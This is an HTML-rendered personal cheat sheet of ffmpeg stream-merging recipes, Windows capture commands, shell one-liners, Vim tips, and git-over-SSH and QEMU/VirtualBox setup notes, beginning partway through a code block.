27px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">FIRE_A</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-quote">$(youtube-dl -f 251 -g http://www.youtube.com/watch?v=-wKiNZ-u-HAs)</span><span class="cm-string">"</span> &amp;&amp; \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">AUDIO</span><span class="cm-operator">=</span><span class="cm-string">"https://holiday.stream.publicradio.org/holiday_yc.aac"</span> &amp;&amp; \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"</span><span class="cm-def">$FIRE_V</span><span class="cm-string">"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"</span><span class="cm-def">$FIRE_A</span><span class="cm-string">"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"</span><span class="cm-def">$AUDIO</span><span class="cm-string">"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">8</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-filter_complex</span> <span class="cm-string">"[1:a][2:a]amerge=inputs=2[a]"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">9</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-map</span> <span class="cm-string">"[a]"</span> <span class="cm-attribute">-map</span> <span class="cm-number">0</span>:v:0</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">10</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:a aac <span class="cm-attribute">-c</span>:v copy \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">11</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> matroska <span class="cm-attribute">-</span> | ffplay <span class="cm-attribute">-</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 253px;"></div><div class="CodeMirror-gutters" style="height: 253px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 35px;"></div></div></div></div></pre><h2 id='combine-a-video-and-an-audio-stream-simultaneously'><span>Combine a video and an audio stream simultaneously</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>6</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"https://ycradio.stream.publicradio.org/ycradio.aac"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"</span><span class="cm-def">$HOME</span><span class="cm-string">/Videos/new_zealand_na_small.mp4"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:a aac <span class="cm-attribute">-c</span>:v copy \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-map</span> <span class="cm-number">0</span>:a:0 <span class="cm-attribute">-map</span> <span class="cm-number">1</span>:v:0 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> matroska out.mkv</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 138px;"></div><div class="CodeMirror-gutters" style="height: 138px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h2 id='play-a-video-that-contains-audio-merge-with-an-audio-stream'><span>Play a video that contains audio, MERGE with an audio stream</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>9</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"https://hygge.stream.publicradio.org/hygge.aac"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-i</span> <span class="cm-string">"/home/marian/Videos/walk_in_the_rain.mp4"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:a aac \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:v copy \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-filter_complex</span> <span class="cm-string">"[0:a][1:a]amerge=inputs=2[aout]"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-map</span> <span class="cm-string">"[aout]"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">8</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-map</span> <span class="cm-number">1</span>:v:0 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">9</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> matroska <span class="cm-attribute">-</span> | ffplay <span class="cm-attribute">-</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 207px;"></div><div class="CodeMirror-gutters" style="height: 207px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h2 id='visual-spectrograph-of-an-audio-stream'><span>Visual spectrograph of an audio stream</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>6</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg <span class="cm-attribute">-i</span> <span class="cm-string">"https://nightride.fm/stream/nightride.m4a"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-filter_complex</span> <span class="cm-string">"[0:a]avectorscope=s=480x480:zoom=1.5:rc=0:gc=200:bc=0:rf=0:gf=40:bf=0,format=yuv420p[v]; [v]pad=854:480:187:0[out]"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-map</span> <span class="cm-string">"[out]"</span> <span class="cm-attribute">-map</span> <span class="cm-number">0</span>:a \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-b</span>:v 700k <span class="cm-attribute">-b</span>:a 360k \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> matroska \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-</span> | ffplay <span class="cm-attribute">-</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 161px;"></div><div class="CodeMirror-gutters" style="height: 161px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><ul><li><span>Sliding overlay (does it work?): </span><code>ffmpeg -i lights.mp4 -i street.mp4 -filter_complex &quot;overlay=x=&#39;if(gte(t,2), -w+(t-2)*20, NAN)&quot; -t 10 output.mp4</code></li></ul><h2 id='ffmpeg-and-windoze'><span>ffmpeg and Windoze</span></h2><p><code>gdigrab</code><span> works out of the box but better alternatives exist: </span><a href='https://trac.ffmpeg.org/wiki/Capture/Desktop#Windows' target='_blank' class='url'>https://trac.ffmpeg.org/wiki/Capture/Desktop#Windows</a></p><ul><li><span>(Windows) Get names of devices for commands below: </span><code>ffmpeg -list_devices true -f dshow -i dummy</code></li><li><span>(Windows) Play borderless webcam (mpv): </span><code>mpv -border=no -no-osc --ontop av://dshow:video=&quot;NAMEOFWEBCAM&quot;</code></li><li><span>(Windows) Play borderless webcam (ffplay): </span><code>ffplay -noborder -probesize 32 -sync ext -f dshow -i video=&quot;Integrated Camera&quot; -vf scale=320:-1</code></li><li><span>(Windows) Capture desktop using gdigrab: </span><code>ffmpeg -f gdigrab -framerate 30 -i desktop -f dshow -i audio=&quot;NAMEOFMICROPHONE&quot; -c:v libx264rgb -crf 0 -preset ultrafast output.mkv</code></li><li><span>(Windows) Capture a region of the desktop: </span><code>ffmpeg -f gdgrab -framerate 6 -offset_x 10 -offset_y 20 -video_size vga -i desktop out.mpg</code></li><li><span>(Windows) Capture a window by window title: </span><code>ffmpeg -f gdigrab -framerate 6 -i title=Calculator out.mpg</code></li><li><span>(Windows) Capture desktop using a virtual device (need 3rd party - see trac URL above): </span><code>ffmpeg -f dshow -i video=&quot;UScreenCapture&quot; -f dshow -i audio=&quot;NAMEOFMICROPHONE&quot; output.mkv</code></li></ul><p><span>Borderless (and movable) webcam stream with good latency (no sound)</span></p><ol start='' ><li><span>Get AutoHotkey, and enable WinDrag.ahk ( </span><a href='https://wwwautohotkey.com/boards/viewtopic.php?t=57703' target='_blank' class='url'>https://wwwautohotkey.com/boards/viewtopic.php?t=57703</a><span> )</span></li><li><span>List video devices: </span><code>ffmpeg -list_devices true -f dshow -i dummy</code></li><li><span>Play a borderless stream (see above)</span></li></ol><h1 id='other-cool-programs-and-their-magic'><span>Other cool programs and their magic</span></h1><ul><li><span>Print all colours in terminal: </span><code>(x=$(tput op) y=$(printf %76s);for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} $(tput setaf $i;tput setab $i)${y// /=}$x;done)</code></li><li><span>Remove ANSI colour escape codes from a file: </span><code>sed &#39;s/\x1b\[[0-9;]*m//g&#39; file.txt</code></li><li><span>Output the final destination of a URL: </span><code>curl -Ls -o /dev/null -w %{url_effective} https://startingurlgoeshere</code></li><li><span>Watch CPU usage, update once per sec: </span><code>watch -n1 grep \&quot;cpu MHz\&quot; /proc/cpuinfo</code></li><li><span>Get device info for all USB devices: </span><code>echo /sys/bus/usb/devices/* | xargs udevadm info -q property -p</code></li><li><span>Output text on to the clipboard: </span><code>echo &quot;hello&quot; | xclip -i -sel clip</code></li><li><span>Get text from the clipboard: </span><code>xclip -o -sel clip</code></li><li><span>Download an entire website: </span><code>wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com</code></li><li><span>Download a single page saved as </span><code>wget_result.html</code><span>, implementing a custom user-agent: </span><code>wget -O wget_result.html --user-agent=&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.58 Safari/537.36&quot; &quot;https://ca.camelcamelcamel.com/search?sq=rk+royal+kludge&quot;</code></li><li><span>lynx - Get a text-only version of a website: </span><code>lynx -dump &quot;URL&quot; &gt;&gt; dump.txt</code></li><li><span>Magnify a mouse-selected part of a screen: </span><code>slop | xargs xzoom -source</code></li><li><span>To find out fonts that the </span><code>brave</code><span> browser is using: </span><code>for proc in $(ps -o pid --no-headers -C brave); do (lsof -p $proc | grep fonts | cut -f4); done</code></li><li><span>sxiv - Search directory for files and run them as a slideshow: </span><code>sxiv -S 2 -i &lt;&lt;&lt; $(find . -type f)</code></li><li><span>Boot a flash disk in QEMU to test it: </span><code>qemu-system-x86_64 -rtc base=localtime -m 2G -vga std -drive file=/dev/sdb,readonly,cache=none,format=raw,if=virtio</code></li><li><span>Display information about key presses: </span><code>showkey -a</code></li><li><span>Show information about a window by clicking on it: </span><code>xwininfo</code></li><li><span>Send specific key strokes to a window: </span><code>xdotool</code></li><li><span>Fetch specific window properties: </span><code>xprop</code></li><li><span>Fetch current outside temperature at location bc-32 (Canada, see weather.gc.ca): </span><code>curl -s https://weather.gc.ca/rss/city/bc-32.xml | grep -oP &#39;(?&lt;=Current Conditions: )\d{1,}\.\d{1,}&#39;</code></li><li><span>Convert a website into a PDF: </span><code>wkhtmltopdf &quot;https://weather.gc.ca/city/pages/bc-32_metric_e.html&quot; - | zathura -</code></li></ul><h1 id='powershell'><span>Powershell</span></h1><p><span>Because sometimes you gotta use the Windoze.</span></p><p><span>Pipe is unusable (</span><a href='https://gitub.com/PowerShell/PowerShell/issues/1908' target='_blank' class='url'>https://gitub.com/PowerShell/PowerShell/issues/1908</a><span>)</span>
<span>Re-directs sometimes work (&lt;, &gt;, etc.)</span>
<span>Subshell works (e.g. $(Get-Clipboard) )</span></p><figure><table><thead><tr><th><span>Powershell</span></th><th><span>*</span><span>Nix</span></th></tr></thead><tbody><tr><td><span>Get-Clipboard</span></td><td><span>xclip</span></td></tr><tr><td><span>Get-Content OR cat</span></td><td><span>cat</span></td></tr><tr><td><span>Compare-Object OR diff</span></td><td><span>diff</span></td></tr><tr><td><span>Get-PnpDevice -PresentOnly</span></td><td><span>lsdev (or, lsusb, etc.)</span></td></tr></tbody></table></figure><h1 id='vim-and-neovim'><span>Vim and Neovim</span></h1><p><span>In Neovim, type </span><code>:options</code><span> to get a list of settings you can tweak in the vimrc</span>
<span>Run </span><code>:scriptnames</code><span> to find out which files Vim actually loaded (debugging vimrc)</span></p><p><code>&lt;C-o&gt;</code><span> </span><code>&lt;C-i&gt;</code><span> replay your jumps forward and back</span>
<code>g;</code><span> and </span><code>g,</code><span> jump to the places where you made changes</span></p><p><span>Make the primary clipboard the main one: </span><code>set clipboard+=unnamedplus</code>
<span>Open a file browser in your home directory: </span><code>:find ~/</code>
<span>The </span><code>%</code><span> register contains the path to the current file</span>
<span>In a Vim helpfile, </span><code>&lt;C+]&gt;</code><span> opens the topic under the cursor in a new buffer</span>
<span>Unicode typing: </span><code>&lt;C+v&gt;</code><span> followed by code (i.e. </span><code>u24ba</code><span> which would give Ⓔ)</span>
<span>Autocomplete filenames: </span><code>&lt;C-x&gt;&lt;C-f&gt;</code>
<span>Autocomplete names: </span><code>&lt;C-x&gt;&lt;C-n&gt;</code>
<span>Run a system command on the current file and display the results: </span><code>:!command %</code>
<span>Run a shell command (</span><code>sort</code><span> as an example) on the current buffer: </span><code>:%!sort</code>
<span>If editing a bash script, etc., run the script from Vim with </span><code>:!%:p</code>
<span>Run a command on the current buffer and replace the contents with the results: </span><code>:%!command</code>
<span>Run a command on the current buffer and paste the results: </span><code>:r !command %</code></p><p><span>Save window layout: </span><code>:mksession cool.vim</code><span> and later load it with </span><code>vim -S cool.vim</code>
<span>Open man page for word under the cursor: </span><code>&lt;Shift-k&gt;</code>
<span>You really like a colorscheme except for one thing. </span><a href='https://gist.github.com/romainl/379904f91fa40533175dfaec4c833f2f'><span>How to change that properly in your virmc</span></a><span>.</span></p><h1 id='other-guides'><span>Other guides</span></h1><h2 id='push-and-pull-with-git-using-ssh'><span>Push and pull with git using SSH</span></h2><p><span>You need a SSH key pair to start.</span>
<span>Check </span><code>~/.ssh</code><span> for one, or put one there if you have one on another machine.</span>
<span>found that unless my key is called </span><code>id_rsa.pub</code><span>, then SSH/Github will ask for password EVERY time anyway!</span></p><ol start='' ><li><span>Copy the public key to the clipboard: `cat ~/.ssh/id_rsa.pub | xclip -i -sel clipboard``</span></li><li><span>Change git remote:</span>
<span>    </span><code>git remote set-url origin git@github.com:USERNAME/NAMEOFREPO.git</code>
<span>Push to all branches (and tags) - assuming origin is the destination remote</span>
<span>   </span><code>git push --all origin</code></li></ol><p><span>These are GitHub&#39;s public key fingerprints:</span>
<span>SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8 (RSA)</span>
<span>SHA256:br9IjFspm1vxR3iA35FWE+4VTyz1hYVLIE2t1/CeyWQ (DSA)</span></p><h2 id='qemu-run-a-vm-not-using-virt-manager'><span>QEMU: Run a VM not using virt-manager</span></h2><ul><li><span>Check for virtualization and kernel support for KVM</span></li><li><span>Install </span><code>QEMU</code><span> and a </span><em><span>libvert</span></em><span> frontend like </span><code>virt-viewer</code></li><li><span>Install </span><code>edk2-ovmf</code><span> package to enable UEFI</span></li><li><span>Create a drive with </span><code>qemu-img create -f raw myVM 20G</code><span> (put it somewhere smart, like a VM folder)</span></li><li><span>Run the guest with a live ISO loaded, 4G of ram, KVM enabled, on UEFI</span></li><li><code>qemu-system-x86_64 -cdrom path/to/ISO -enable-kvm -bios /usr/share/edk2-ovmf/x64/OVMF.fd -boot order=d -m 4G -cpu host -smp 2 -drive file=path/to/myVM,format=raw</code></li><li><span>Load VM, pressing </span><code>ESC</code><span> multiple times to enter BIOS menu. Add the bootloader (GRUB?) as an option to the boot menu.</span></li><li><span>Fire it up! </span><code>qemu-system-x86_64 -enable-kvm -bios /usr/share/edk2-ovmf/x64/OVMF.fd -m 4G -cpu host -smp 2 -drive file=path/to/myVM,format=raw</code></li></ul><h2 id='qemu-run-a-vm-using-virt-manager'><span>QEMU: Run a VM using virt-manager</span></h2><p><span>Handy for win10: </span><code>https://dennisnotes.com/note/20180614-ubuntu-18.04-qemu-setup/</code></p><ul><li><span>Install </span><code>pacman -S qemu virt-manager virt-viewer dnsmasq vde2 bridge-utils openbsd-netcat</code></li><li><span>enable libvirtd service </span><code>systemctl enable --now libvertd</code></li><li><span>Add user to libvert group </span><code>usermod -aG libvirt USERNAME</code></li><li><span>reboot</span></li><li><span>Run </span><code>virt-manager</code></li><li><span>Also necessary for network (unverified!):</span>
<span>    </span><code>virsh net-autostart default</code>
<span>    </span><code>virsh net-start default</code></li></ul><h2 id='run-virtualbox-arch-linux-headless-on-windows-and-ssh-into-it'><span>Run VirtualBox Arch Linux headless on Windows and ssh into it</span></h2><p><span>Why? It&#39;s like having your own custom WSL.</span></p><p><span>Create a virtual machine using your preferred settings</span></p><p><span>Virtual machine: enable </span><code>sshd</code><span> (systemctl, etc.)</span></p><p><span>VirtualBox &gt; Machine Settings &gt; Network &gt; Advanced</span></p><p><span>Under port forwarding add the entry:</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber 